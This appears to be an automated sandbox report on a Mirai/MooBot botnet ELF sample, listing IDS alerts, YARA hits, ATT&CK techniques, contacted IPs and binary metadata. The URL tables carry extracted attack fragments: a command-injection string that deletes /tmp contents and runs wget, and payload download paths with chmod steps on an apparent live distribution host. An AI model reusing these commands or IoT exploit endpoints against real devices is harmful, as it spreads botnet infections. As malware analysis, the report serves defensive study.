Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Gafgyt

Source: Yara match	File source: wbUtbKZmxZ.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: wbUtbKZmxZ.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
wbUtbKZmxZ.elf	68%	ReversingLabs	Linux.Trojan.Mirai
wbUtbKZmxZ.elf	62%	Virustotal		Browse
wbUtbKZmxZ.elf	100%	Avira	EXP/ELF.Mirai.Z.A
wbUtbKZmxZ.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://109.205.214.35/mips	100%	Avira URL Cloud	malware
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://127.0.0.1:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://109.205.214.35/x86	100%	Avira URL Cloud	malware
http://109.205.214.35/arm7;chmod	0%	Avira URL Cloud	safe
http://109.205.214.35/arm7;chmod	2%	Virustotal		Browse
http://109.205.214.35/mips	8%	Virustotal		Browse
http://109.205.214.35/x86	13%	Virustotal		Browse
http://127.0.0.1:80/tmUnblock.cgi	0%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	1%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://109.205.214.35/mpsl;chmod	0%	Avira URL Cloud	safe
http://109.205.214.35/mips;	100%	Avira URL Cloud	malware
http://109.205.214.35/mips;	2%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse
http://109.205.214.35/mpsl;chmod	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/tmUnblock.cgi	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:7547/UD/act?1	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://109.205.214.35/arm7;chmod	wbUtbKZmxZ.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips	wbUtbKZmxZ.elf	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://109.205.214.35/x86	wbUtbKZmxZ.elf	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	wbUtbKZmxZ.elf	false		high
http://purenetworks.com/HNAP1/	wbUtbKZmxZ.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	wbUtbKZmxZ.elf	false		high
http://109.205.214.35/mpsl;chmod	wbUtbKZmxZ.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips;	wbUtbKZmxZ.elf	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.230.163.234	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.22.93.84	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
125.65.239.132	unknown	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false
181.74.231.155	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false
62.80.165.176	unknown	Ukraine	25386	INTERTELECOM-ASUA	false
47.44.9.220	unknown	United States	20115	CHARTER-20115US	false
2.160.5.123	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
193.43.19.89	unknown	Italy	137	ASGARRConsortiumGARREU	false
172.105.113.0	unknown	United States	63949	LINODE-APLinodeLLCUS	false
213.60.124.243	unknown	Spain	12334	Galicia-SpainES	false
96.214.8.34	unknown	United States	7922	COMCAST-7922US	false
128.10.214.115	unknown	United States	17	PURDUEUS	false
47.26.86.90	unknown	United States	20115	CHARTER-20115US	false
102.39.2.21	unknown	South Africa	11845	Vox-TelecomZA	false
219.237.93.56	unknown	China	24416	CNNIC-PRIMETELECOM-APBeijingPrimezoneTechnologiesIncC	false
172.55.173.84	unknown	United States	21928	T-MOBILE-AS21928US	false
184.172.25.13	unknown	United States	36351	SOFTLAYERUS	false
181.97.172.32	unknown	Argentina	7303	TelecomArgentinaSAAR	false
184.13.254.16	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
52.101.21.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
220.255.208.25	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	false
78.148.244.102	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
181.104.232.174	unknown	Argentina	6147	TelefonicadelPeruSAAPE	false
172.75.250.38	unknown	United States	11426	TWC-11426-CAROLINASUS	false
206.39.48.187	unknown	United States	531	DNIC-AS-00531US	false
178.153.204.173	unknown	Qatar	42298	GCC-MPLS-PEERINGGCCMPLSpeeringQA	false
163.111.128.252	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
146.131.223.198	unknown	Canada	23448	UNASSIGNED	false
88.28.74.126	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
172.197.82.1	unknown	Australia	18747	IFX18747US	false
213.216.253.175	unknown	Finland	16086	DNAFI	false
88.139.140.73	unknown	France	8228	CEGETEL-ASFR	false
178.222.54.109	unknown	Serbia	8400	TELEKOM-ASRS	false
62.161.114.212	unknown	France	3215	FranceTelecom-OrangeFR	false
181.213.69.179	unknown	Brazil	28573	CLAROSABR	false
70.241.239.30	unknown	United States	7018	ATT-INTERNET4US	false
86.88.75.219	unknown	Netherlands	1136	KPNKPNNationalEU	false
213.24.189.74	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
69.80.237.131	unknown	Canada	174	COGENT-174US	false
213.55.238.107	unknown	Switzerland	15796	SALT-CH	false
178.108.61.210	unknown	United Kingdom	12576	EELtdGB	false
101.54.215.27	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
203.227.200.26	unknown	Korea Republic of	9848	SEJONGTELECOM-AS-KRSejongTelecomKR	false
213.0.132.97	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
135.44.88.122	unknown	United States	54614	CIKTELECOM-CABLECA	false
98.102.147.219	unknown	United States	10796	TWC-10796-MIDWESTUS	false
162.123.127.47	unknown	United States	11857	AEGONUSAUS	false
184.105.254.47	unknown	United States	23250	BPS-STAGINGUS	false
212.228.79.4	unknown	United Kingdom	6659	NEXINTO-DE	false
121.201.81.215	unknown	China	58543	CHINATELECOM-GUANGDONG-IDCGuangdongCN	false
213.3.4.172	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
178.206.173.121	unknown	Russian Federation	28840	TATTELECOM-ASRU	false
201.120.227.197	unknown	Mexico	8151	UninetSAdeCVMX	false
98.46.251.23	unknown	United States	7922	COMCAST-7922US	false
172.96.116.50	unknown	United States	21859	ZNETUS	false
181.31.213.30	unknown	Argentina	10318	TelecomArgentinaSAAR	false
213.56.28.217	unknown	France	3215	FranceTelecom-OrangeFR	false
98.187.110.121	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
172.68.102.151	unknown	United States	13335	CLOUDFLARENETUS	false
184.73.107.155	unknown	United States	14618	AMAZON-AESUS	false
213.249.123.9	unknown	United Kingdom	3356	LEVEL3US	false
209.188.167.99	unknown	United States	2152	CSUNET-NWUS	false
178.30.28.92	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
184.89.14.250	unknown	United States	33363	BHN-33363US	false
213.236.241.88	unknown	Norway	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
62.195.46.185	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
181.170.108.158	unknown	Argentina	10318	TelecomArgentinaSAAR	false
213.246.160.132	unknown	United Kingdom	8586	OBSL-ASTalkTalk-BusinessdivisionGB	false
98.142.17.11	unknown	United States	22402	NEXTCO-ASUS	false
201.150.134.146	unknown	Mexico	28539	CreatividadInternetEnlacesSAdeCVMX	false
181.104.232.158	unknown	Argentina	6147	TelefonicadelPeruSAAPE	false
62.245.191.240	unknown	Germany	8767	MNET-ASGermanyDE	false
112.105.248.194	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
180.45.233.85	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
112.40.230.249	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
172.68.102.182	unknown	United States	13335	CLOUDFLARENETUS	false
181.74.231.199	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false
184.69.183.234	unknown	Canada	6327	SHAWCA	false
201.219.1.124	unknown	Ecuador	28006	CORPORACIONNACIONALDETELECOMUNICACIONES-CNTEPEC	false
213.58.5.213	unknown	Portugal	9186	ONILisbonPortugalPT	false
86.225.67.28	unknown	France	3215	FranceTelecom-OrangeFR	false
101.35.205.156	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
200.27.159.2	unknown	Chile	25718	TurismoCochaSACL	false
62.92.203.196	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
27.182.241.29	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
170.50.33.158	unknown	United States	11406	CIGNA-1US	false
194.59.7.158	unknown	unknown	20676	PLUSNETDE	false
213.50.24.152	unknown	Sweden	3246	TDCSONGTele2BusinessTDCSwedenSE	false
62.137.142.220	unknown	United Kingdom	12337	NORIS-NETWORKITServiceProviderlocatedinNuernbergGerm	false
145.148.9.144	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
181.9.217.8	unknown	Argentina	7303	TelecomArgentinaSAAR	false
43.215.66.1	unknown	Japan	4249	LILLY-ASUS	false
170.61.204.199	unknown	United States	11911	THE-BANK-OF-NEW-YORK-MELLON-CORPORATION-BASE-ASUS	false
169.27.168.106	unknown	United States	37611	AfrihostZA	false
5.17.173.44	unknown	Russian Federation	41733	ZTELECOM-ASRU	false
42.247.156.216	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
113.84.190.253	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
198.120.131.165	unknown	United States	297	AS297US	false
202.65.140.88	unknown	India	18229	CTRLS-AS-INCtrlSDatacentersLtdIN	false
189.112.150.147	unknown	Brazil	16735	ALGARTELECOMSABR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
96.214.8.34	N5MOrZTVyd	Get hash	malicious	Mirai	Browse
96.214.8.34	1Zn1o0ho0d	Get hash	malicious	Mirai	Browse
52.230.163.234	BlmFxyZ6zr	Get hash	malicious	Mirai	Browse
125.65.239.132	RyN0nKQFMD.elf	Get hash	malicious	Mirai	Browse
125.65.239.132	RVuYjMUlA9	Get hash	malicious	Mirai	Browse
181.74.231.155	Lwy5B90L6Y	Get hash	malicious	Gafgyt, Mirai	Browse
181.74.231.155	P0C0oQIQNG	Get hash	malicious	Mirai	Browse
47.26.86.90	armv6l.elf	Get hash	malicious	Unknown	Browse
102.39.2.21	ak.x86-20220923-1453.elf	Get hash	malicious	Mirai	Browse
219.237.93.56	SecuriteInfo.com.Linux.Siggen.9999.18087.21501.elf	Get hash	malicious	Mirai	Browse
2.160.5.123	tajmWT78Gh	Get hash	malicious	Mirai	Browse
193.43.19.89	sora.arm7	Get hash	malicious	Mirai	Browse
213.60.124.243	NMEX00s6r8.elf	Get hash	malicious	Mirai	Browse
62.80.165.176	elQL8Pmyyo	Get hash	malicious	Mirai	Browse
62.80.165.176	pF7U8RLovF	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelmexServiciosEmpresarialesSACL	uMqeVeoVI4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	181.74.231.154
	I9k2Q7HKfO.elf	Get hash	malicious	Mirai, Gafgyt	Browse	181.74.231.170
	kt46zhUGCl.elf	Get hash	malicious	Mirai	Browse	181.74.231.142
	OlyIcHfaN3.elf	Get hash	malicious	Mirai	Browse	190.208.240.175
	ZlC15kDKk5.elf	Get hash	malicious	Mirai	Browse	186.21.230.238
	XfUxF4PeM1.elf	Get hash	malicious	Mirai	Browse	190.208.239.212
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	181.74.206.60
	dUhNzDcJw6.elf	Get hash	malicious	Mirai	Browse	181.75.29.197
	7j5Y0VWRZH.elf	Get hash	malicious	Mirai	Browse	186.36.27.135
	5SFHUcsaQH.elf	Get hash	malicious	Mirai	Browse	186.21.52.5
CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	fWWj9IuPgZ.elf	Get hash	malicious	Mirai	Browse	221.236.29.181
	https://ellcjcgi.dynv6.net/IP:	Get hash	malicious	Unknown	Browse	182.131.21.252
	https://www.gxsyq.cn/IP:	Get hash	malicious	Unknown	Browse	182.131.21.252
	https://www.uynef.cn/IP:	Get hash	malicious	Unknown	Browse	182.131.21.252
	https://www.yunfuchu.cn/IP:	Get hash	malicious	Unknown	Browse	182.131.21.252
	1PfkUPbqjw.elf	Get hash	malicious	Mirai	Browse	125.65.239.138
	Kq2oPxDEPU.elf	Get hash	malicious	Mirai	Browse	61.188.188.15
	xcBienFkvE.elf	Get hash	malicious	Mirai	Browse	125.71.115.128
	nOP8vkpsYK.elf	Get hash	malicious	Unknown	Browse	118.115.14.245
	2kQ1ly7LHv.elf	Get hash	malicious	Mirai	Browse	125.70.173.124
ASN-WINDTREIUNETEU	2Uuy8xXeYj.elf	Get hash	malicious	Mirai, Gafgyt	Browse	62.98.225.206
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	62.98.225.208
	qCc1a4w5YZ.exe	Get hash	malicious	Wannacry	Browse	151.28.169.3
	5dm0sjynSD.elf	Get hash	malicious	Unknown	Browse	151.28.111.193
	7InjeWQVHC.elf	Get hash	malicious	Unknown	Browse	151.84.86.100
	QEMy2mlwhJ.elf	Get hash	malicious	Mirai	Browse	151.59.191.49
	QGN4hQprkC.elf	Get hash	malicious	Mirai	Browse	151.41.35.253
	QXc3Y7Ed8m.elf	Get hash	malicious	Mirai	Browse	151.7.30.72
	wNCWSwl1Lv.elf	Get hash	malicious	Mirai	Browse	151.66.131.77
	13f4MD5BtU.elf	Get hash	malicious	Mirai	Browse	91.254.204.233
MICROSOFT-CORP-MSN-AS-BLOCKUS	2Uuy8xXeYj.elf	Get hash	malicious	Mirai, Gafgyt	Browse	20.127.23.178
	http://ipfs.io	Get hash	malicious	Unknown	Browse	40.76.134.238
	woM8Z8CFYx.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	20.157.87.45
	lgs9DrfNwP.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	6t0abj5L0W.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	20.157.87.45
	https://manage.kmail-lists.com/subscriptions/subscribe/update?c=01H0G3BVA5P4WT38NKH3DY6QEB&a=WkVYqE&p=eyJUaWNrZXRfb3B0IGluIjogIlllcyJ9&k=53b9cf0c5602fbaff2d592c0e9b9058a&r=Cleanenergyregulator%25E3%2580%2582lisasfinancialservices%25E3%2580%2582com%2Fsofy%2Flife%2FCleanenergyregulator%2FcmViZWNjYS5sb25nZm9yZEBjbGVhbmVuZXJneXJlZ3VsYXRvci5nb3YuYXU=#	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	FTQ07789000900.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	https://prod-35n.pages.dev/robots.txt	Get hash	malicious	HTMLPhisher	Browse	40.76.134.238
	https://victorious-sand-086b16710.5.azurestaticapps.net/Win08ShDMeEr0887/index.html	Get hash	malicious	TechSupportScam	Browse	20.22.16.164
	https://salmon-water-0a0d7ab10.5.azurestaticapps.net/	Get hash	malicious	TechSupportScam	Browse	20.22.16.164

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.428828005414075
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	wbUtbKZmxZ.elf
File size:	124'304 bytes
MD5:	dc1dd021f875444c0c6c45d457f2c121
SHA1:	32a7d0f39c753fd4e6f2bf5f52b06143d4b4230a
SHA256:	06292ea1e3c4d04bf760b68114574e566c7b0c941c8a5acafe1a44855cbae7ad
SHA512:	3843489cd69867005ead5a66e3a7a196dcaddda377eecfa13b29a514cbde57a24d6e2e862b444afd265d834b5a39054ca30d1edc50db452aa7e93ceb43e9ce2d
SSDEEP:	3072:j3Ib4g5t9/Tfmg4mfC2ibltZKk7HKYAb3b+rdk1GO:rIb4g5tBTmufFwHZLHKo3O
TLSH:	97C34B42B58740FBC9034934709BFA3FDE72D5BE81278AA9EFA48D35C667402461B74E
File Content Preview:	.ELF....................h...4...........4. ...(..............................................p...p.. ....-..........Q.td............................U..S............h........[]...$.............U......=.s...t..1.....p......p......u........t...$.`..........s

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048168
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	123904
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x19fb1	0x0	0x6	AX	16
.fini	PROGBITS	0x8062061	0x1a061	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8062080	0x1a080	0x401c	0x0	0x2	A	32
.ctors	PROGBITS	0x80670a0	0x1e0a0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80670a8	0x1e0a8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80670c0	0x1e0c0	0x300	0x0	0x3	WA	32
.bss	NOBITS	0x80673c0	0x1e3c0	0x2a68	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x1e3c0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x1e09c	0x1e09c	6.4478	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x1e0a0	0x80670a0	0x80670a0	0x320	0x2d88	3.2154	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/21/24-05:26:01.876080	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57624	80	192.168.2.23	207.188.224.215
03/21/24-05:26:15.105849	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36890	7547	192.168.2.23	94.120.220.139
03/21/24-05:26:12.053811	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53174	80	192.168.2.23	23.3.189.112
03/21/24-05:26:26.777712	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46980	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:54.364577	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53666	7547	192.168.2.23	75.205.163.33
03/21/24-05:25:59.628821	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	40162	55555	192.168.2.23	172.65.30.84
03/21/24-05:26:12.168689	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	59494	80	192.168.2.23	45.76.25.172
03/21/24-05:26:55.625384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34262	80	192.168.2.23	57.128.169.125
03/21/24-05:25:58.850346	TCP	2018132	ET WORM TheMoon.linksys.router 2	36102	8080	192.168.2.23	172.64.171.193
